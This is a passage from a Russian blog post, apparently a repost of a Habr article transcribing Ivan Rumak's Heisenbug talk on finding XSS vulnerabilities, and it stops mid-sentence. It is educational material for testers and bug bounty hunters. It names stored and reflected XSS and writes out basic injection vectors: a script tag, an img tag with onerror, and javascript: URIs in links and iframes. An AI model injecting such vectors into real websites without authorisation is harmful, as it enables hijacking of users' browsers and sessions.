{"id":414229,"date":"2024-06-29T23:38:24","date_gmt":"2024-06-29T23:38:24","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=414229"},"modified":"-0001-11-30T00:00:00","modified_gmt":"2024-06-29T23:38:24","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=414229","title":{"rendered":"<span>\u042d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u043f\u043e\u0438\u0441\u043a XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439<\/span>"},"content":{"rendered":"<div><!--[--><img loading=\"lazy\" decoding=\"async\" height=\"1\" src=\"https:\/\/www.facebook.com\/tr?id=2610199939046212&amp;ev=PageView&amp;noscript=1\" style=\"display:none;\" width=\"1\"><img loading=\"lazy\" decoding=\"async\" height=\"1\" src=\"https:\/\/vk.com\/rtrg?p=VK-RTRG-412679-4FWK5\" style=\"display:none;\" width=\"1\"><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-1\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/webt\/pe\/ed\/5c\/peed5cpoi-4fqgjnbv4l3faam0k.jpeg\" data-src=\"https:\/\/habrastorage.org\/webt\/pe\/ed\/5c\/peed5cpoi-4fqgjnbv4l3faam0k.jpeg\" data-blurred=\"true\"\/><\/p>\n<p>  <\/p>\n<p>\u041f\u0440\u043e XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0434\u0430\u0432\u043d\u044b\u043c-\u0434\u0430\u0432\u043d\u043e \u2014 \u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b, \u043d\u0443\u0436\u0435\u043d \u043b\u0438 \u043c\u0438\u0440\u0443 \u0435\u0449\u0451 \u043e\u0434\u0438\u043d \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u043e \u043d\u0438\u0445? \u041d\u043e \u043a\u043e\u0433\u0434\u0430 <strong>\u0418\u0432\u0430\u043d \u0420\u0443\u043c\u0430\u043a<\/strong>, \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u043e\u0434\u0435\u043b\u0438\u043b\u0441\u044f \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0435\u0439 \u0438\u0445 \u043f\u043e\u0438\u0441\u043a\u0430 \u043d\u0430 \u043d\u0430\u0448\u0435\u0439 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 <strong><a href=\"https:\/\/heisenbug-moscow.ru\/?utm_source=habr&amp;amp;utm_medium=569270\">Heisenbug<\/a><\/strong>, \u0440\u0435\u0430\u043a\u0446\u0438\u044f \u0437\u0440\u0438\u0442\u0435\u043b\u0435\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439. <\/p>\n<p>  <\/p>\n<p>\u0418 \u0441\u043f\u0443\u0441\u0442\u044f \u0434\u0432\u0430 \u0433\u043e\u0434\u0430 \u0443 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u043a\u043b\u0430\u0434\u0430 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0440\u0430\u0441\u0442\u0443\u0442 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u044b \u0438 \u043b\u0430\u0439\u043a\u0438, \u044d\u0442\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 Heisenbug. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u0440\u0435\u0448\u0438\u043b\u0438, \u0447\u0442\u043e \u043c\u043d\u043e\u0433\u0438\u043c \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u0430 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f, \u0438 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u0435\u0435 \u0434\u043b\u044f \u0425\u0430\u0431\u0440\u0430.<\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c \u2014 \u0438 \u0442\u0435\u043a\u0441\u0442, \u0438 \u0432\u0438\u0434\u0435\u043e. \u0414\u0430\u043b\u0435\u0435 \u043f\u043e\u0432\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0434\u0435\u0442 \u043e\u0442 \u043b\u0438\u0446\u0430 \u0418\u0432\u0430\u043d\u0430.<\/p>\n<p><a name=\"habracut\"><\/a>  <\/p>\n<div class=\"oembed\">\n<div>\n<div style=\"left: 0; width: 100%; height: 0; position: relative; padding-bottom: 56.2493%;\">\n<div class=\"tm-iframe_temp\" data-src=\"https:\/\/www.youtube.com\/embed\/EmJnUqFgaK8?rel=0&amp;showinfo=1&amp;hl=en-US\" data-style=\"border: 0; top: 0; left: 0; width: 100%; height: 100%; position: absolute;\" id=\"\" width=\"\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>  <\/p>\n<h2>\u041e\u0431\u043e \u043c\u043d\u0435<\/h2>\n<p>  <\/p>\n<p>\u042f \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0441\u044c \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041f\u043e \u0441\u0443\u0442\u0438, \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0441\u044c \u0432\u0441\u0435\u043c\u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u0430\u0439\u0442\u043e\u0432. \u041f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0443\u0447\u0430\u0441\u0442\u0432\u0443\u044e \u0432 \u0440\u0430\u0437\u043d\u044b\u0445 Bug Bounty, \u0437\u0430\u043d\u0438\u043c\u0430\u044e 110 \u043c\u0435\u0441\u0442\u043e \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 <a href=\"https:\/\/www.hackerone.com\/\">HackerOne<\/a>, \u043d\u0430\u0445\u043e\u0436\u0443 \u0431\u0430\u0433\u0438 \u0432 Mail.ru, \u042f\u043d\u0434\u0435\u043a\u0441\u0435, Google, Yahoo! \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u0445. \u041e\u0431\u0443\u0447\u0430\u044e, \u043a\u043e\u043d\u0441\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e, \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e \u043f\u0440\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432 \u0432\u0435\u0431\u0435 \u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e. <\/p>\n<p>  <\/p>\n<h2>\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u0434\u043e\u043a\u043b\u0430\u0434\u0430<\/h2>\n<p>  <\/p>\n<p>\u041a\u043e\u0433\u0434\u0430 \u044f \u043d\u0430\u0447\u0430\u043b \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e, \u0442\u043e \u0431\u044b\u043b \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u043e\u043c \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0431\u0430\u0433\u0438, \u0430 \u043d\u0435 \u0442\u0435, \u0447\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e. \u041d\u043e \u044f \u0443\u0432\u043b\u0435\u043a\u0441\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u043e\u0434\u043d\u0430\u0436\u0434\u044b \u0441\u0442\u0430\u043b \u0441\u0430\u043c\u044b\u043c \u043f\u0440\u043e\u0448\u0430\u0440\u0435\u043d\u043d\u044b\u043c \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u043e\u043c \u0432 \u044d\u0442\u043e\u0439 \u0441\u0444\u0435\u0440\u0435. \u041a\u043e \u043c\u043d\u0435 \u043d\u0430\u0447\u0430\u043b\u0438 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0438 \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438. \u042f \u043f\u043e\u043d\u044f\u043b, \u0447\u0442\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0449\u0438\u043a\u0438 \u0442\u043e\u0436\u0435 \u0445\u043e\u0442\u044f\u0442 \u043d\u0430\u0443\u0447\u0438\u0442\u044c\u0441\u044f \u0438\u0441\u043a\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0438\u043c \u044d\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043d\u043e \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u043d\u0438 \u043d\u0435 \u0437\u043d\u0430\u044e\u0442, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043d\u0443\u0436\u043d\u043e \u0434\u0435\u043b\u0430\u0442\u044c. <\/p>\n<p>  <\/p>\n<p>\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 XSS? \u041a\u0430\u043a \u0438\u0441\u043a\u0430\u0442\u044c? \u041a\u0430\u043a \u043f\u043e\u043d\u0438\u043c\u0430\u0442\u044c, \u0435\u0441\u0442\u044c XSS \u0438\u043b\u0438 \u043d\u0435\u0442? \u0421\u0435\u0439\u0447\u0430\u0441 \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c\u0441\u044f. <\/p>\n<p>  <\/p>\n<h2>\u041f\u043b\u0430\u043d<\/h2>\n<p>  <\/p>\n<ul>\n<li>\n<p>\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438<\/p>\n<p>  <\/li>\n<li>\n<p>\u041c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f \u043f\u043e\u0438\u0441\u043a\u0430 XSS (\u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0441\u044c \u0441\u0430\u043c \u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0430\u0448\u0435\u043b \u0431\u043e\u043b\u0435\u0435 60 XSS \u0432 Bug Bounty \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0433\u043e\u0434)<\/p>\n<p>  <\/li>\n<li>\n<p>\u041a\u0430\u043a\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u0447\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 (\u043f\u0435\u0439\u043b\u043e\u0430\u0434) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439<\/p>\n<p>  <\/li>\n<li>\n<p>\u041a\u0435\u0439\u0441\u044b \u0438\u0437 \u0440\u0430\u0437\u043d\u044b\u0445 Bug Bounty-\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c (\u043a\u0430\u043a\u0438\u0435 XSS \u0431\u044b\u043b\u0438, \u043a\u0430\u043a \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438, \u0438 \u0431\u0430\u0433\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u043e\u0445\u043e\u0436\u0438 \u043d\u0430 \u043f\u043e\u0438\u0441\u043a XSS)<\/p>\n<p>  <\/li>\n<\/ul>\n<p>  <\/p>\n<h2>\u0417\u0430\u0447\u0435\u043c \u0438\u0441\u043a\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438?<\/h2>\n<p>  <\/p>\n<p>\u0412\u0430\u043c \u2014 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0439 \u043d\u0430\u0432\u044b\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u043b\u0438\u0448\u043d\u0438\u043c. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0433\u0434\u0435 \u0432\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\u0435 \u2014 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c. Win-win!<\/p>\n<p>  <\/p>\n<h2>\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 XSS<\/h2>\n<p>  <\/p>\n<p>XSS (Cross-Site Scripting) \u2014 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e JavaScript-\u043a\u043e\u0434\u0430 \u0432 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u0436\u0435\u0440\u0442\u0432\u044b \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0432\u0430\u0448\u0435\u0433\u043e \u0441\u0430\u0439\u0442\u0430. <\/p>\n<p>  <\/p>\n<p>\u0412\u0441\u043f\u043e\u043c\u043d\u0438\u043c, \u043a\u0430\u043a \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f JavaScript \u0438\u0437 HTML:<\/p>\n<p>  <\/p>\n<p><strong><code>&lt;script>\u2026&lt;\/script><\/code><\/strong> \u2014 \u0432\u0441\u0451, \u0447\u0442\u043e \u0432\u043d\u0443\u0442\u0440\u0438, \u0431\u0443\u0434\u0435\u0442 \u0441\u0440\u0435\u043d\u0434\u0435\u0440\u0435\u043d\u043e \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u043c \u043a\u0430\u043a JavaScript.<\/p>\n<p>  <\/p>\n<p><strong><code>&lt;img onerror=\"\u2026\" src=\"x\">test&lt;\/a><\/code><\/strong> \u2014 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u0442\u043e \u0435\u0441\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <strong><code>onerror<\/code><\/strong>. \u0411\u0440\u0430\u0443\u0437\u0435\u0440 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u0442 \u043f\u043e\u0434\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443 \u043f\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0443 x. \u0415\u0441\u043b\u0438 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430 \u043d\u0435 \u043f\u0440\u043e\u0433\u0440\u0443\u0437\u0438\u0442\u0441\u044f, \u043e\u043d \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442 \u0442\u043e, \u0447\u0442\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u043e \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0439.<\/p>\n<p>  <\/p>\n<p><strong><code>&lt;a href=\"javascript:\u2026\">click to trigger javascript&lt;\/a><\/code><\/strong> \u2014 \u0435\u0441\u043b\u0438 \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043a\u0430 \u0432\u0435\u0434\u0435\u0442 \u043d\u0435 \u043d\u0430 \u0441\u0445\u0435\u043c\u0443 HTTP\/HTTPS, \u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u043e \u0441\u0445\u0435\u043c\u044b JavaScript, \u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043d\u0430 \u0441\u0441\u044b\u043b\u043a\u0443 \u0432\u0441\u0451, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u0441\u0445\u0435\u043c\u044b JavaScript, \u0431\u0443\u0434\u0435\u0442 \u0441\u0440\u0435\u043d\u0434\u0435\u0440\u0435\u043d\u043e \u043a\u0430\u043a JavaScript.<\/p>\n<p>  <\/p>\n<p><strong><code>&lt;iframe src=\"javascript:\u2026\"><\/code><\/strong> \u2014 \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435, \u0447\u0442\u043e \u0438 \u0441 \u0433\u0438\u043f\u0435\u0440\u0441\u0441\u044b\u043b\u043a\u043e\u0439, \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0434\u043e \u043a\u043b\u0438\u043a\u0430\u0442\u044c, \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043f\u0440\u0438 \u043f\u0440\u043e\u0433\u0440\u0443\u0437\u043a\u0435.<\/p>\n<p>  <\/p>\n<p>XSS \u2014 \u043e\u0434\u043d\u0430 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0432\u0435\u0431\u0435. \u041a XSS \u0443\u044f\u0437\u0432\u0438\u043c\u043e \u0431\u043e\u043b\u0435\u0435 95% \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u0427\u0442\u043e\u0431\u044b \u043d\u0430\u0439\u0442\u0438 \u0431\u0430\u0433, \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0431\u043b\u0430\u0434\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043d\u0430\u0432\u044b\u043a\u0430\u043c\u0438, \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c \u043a\u0443\u0440\u0441\u044b \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0432\u044b\u0441\u0448\u0435\u0435 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435. <\/p>\n<p>  <\/p>\n<p>\u0418 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e XSS \u2014 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u043d\u0430 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.<\/p>\n<p>  <\/p>\n<h2>\u041f\u0440\u0438\u0447\u0438\u043d\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044f XSS<\/h2>\n<p>  <\/p>\n<p>\u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, XSS \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u043f\u0440\u0438 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b, \u043a\u043e\u0433\u0434\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0442\u0443\u0434\u0430 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0435 (\u0424\u0418\u041e, \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f). \u0415\u0441\u043b\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0437\u0430\u043f\u0438\u0441\u0430\u043b \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0411\u0414, \u0437\u0430\u0442\u0435\u043c \u0442\u044f\u043d\u0435\u0442 \u0435\u0435 \u0432 HTML-\u0448\u0430\u0431\u043b\u043e\u043d, \u0442\u043e \u044d\u0442\u043e stored (\u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0439) XSS.<\/p>\n<p>  <\/p>\n<p>\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0443 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0438\u0437 URL \u0438\u043b\u0438 \u0442\u0435\u043b\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u0422\u0430\u043a\u043e\u0439 \u0442\u0438\u043f XSS \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f reflected.<\/p>\n<p>  <\/p>\n<p>\u041f\u0440\u0438\u0447\u0438\u043d XSS \u043a\u0443\u0447\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e JS, \u0435\u0441\u0442\u044c \u0441\u043e\u0431\u044b\u0442\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0442 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0441 JS.<\/p>\n<p>  <\/p>\n<p>\u041d\u043e \u0432 \u044d\u0442\u043e\u043c \u0434\u043e\u043a\u043b\u0430\u0434\u0435 \u044f \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0443 \u043f\u0440\u043e \u0441\u0430\u043c\u044b\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u2014 stored XSS \u0438 reflected XSS. <\/p>\n<p>  <\/p>\n<p>\u0412\u043e\u0437\u044c\u043c\u0435\u043c \u043f\u0440\u0438\u043c\u0435\u0440 \u2014 \u043e\u0431\u044b\u0447\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0412\u041a\u043e\u043d\u0442\u0430\u043a\u0442\u0435. \u041e \u0447\u0435\u043c \u043f\u043e\u0434\u0443\u043c\u0430\u0435\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0445\u043e\u0447\u0435\u0442 \u043d\u0430\u0439\u0442\u0438 XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438? <\/p>\n<p>  <\/p>\n<p>\u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043e\u043d \u043e\u0431\u0440\u0430\u0442\u0438\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043f\u043e\u043b\u044f, \u043c\u043e\u0436\u043d\u043e \u043a\u0443\u0434\u0430-\u0442\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0438 \u0447\u0442\u043e-\u0442\u043e \u0432\u0432\u0435\u0441\u0442\u0438. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/ea\/nz\/4g\/eanz4gmdl_zfybkqpnqos2hvl50.png\" data-src=\"https:\/\/habrastorage.org\/webt\/ea\/nz\/4g\/eanz4gmdl_zfybkqpnqos2hvl50.png\"\/><\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u0432\u0435\u0441\u0442\u0438 \u0442\u0443\u0434\u0430 \u0447\u0435\u0441\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043d\u043e \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u043a \u043d\u0438\u043c <code>&lt;script>&lt;\/script><\/code>. \u041e\u043d \u043d\u0443\u0436\u0435\u043d \u0434\u043b\u044f \u0432\u044b\u0437\u043e\u0432\u0430 JavaScript \u043c\u0435\u0436\u0434\u0443 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0438\u043c \u0438 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0438\u043c \u0442\u0435\u0433\u0430\u043c\u0438. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/r7\/qp\/9e\/r7qp9ecoyorp7c1pzxrscil7jmi.png\" data-src=\"https:\/\/habrastorage.org\/webt\/r7\/qp\/9e\/r7qp9ecoyorp7c1pzxrscil7jmi.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0427\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442 \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435? <\/p>\n<p>  <\/p>\n<p>\u041c\u044b, \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0445\u043e\u0447\u0435\u0442 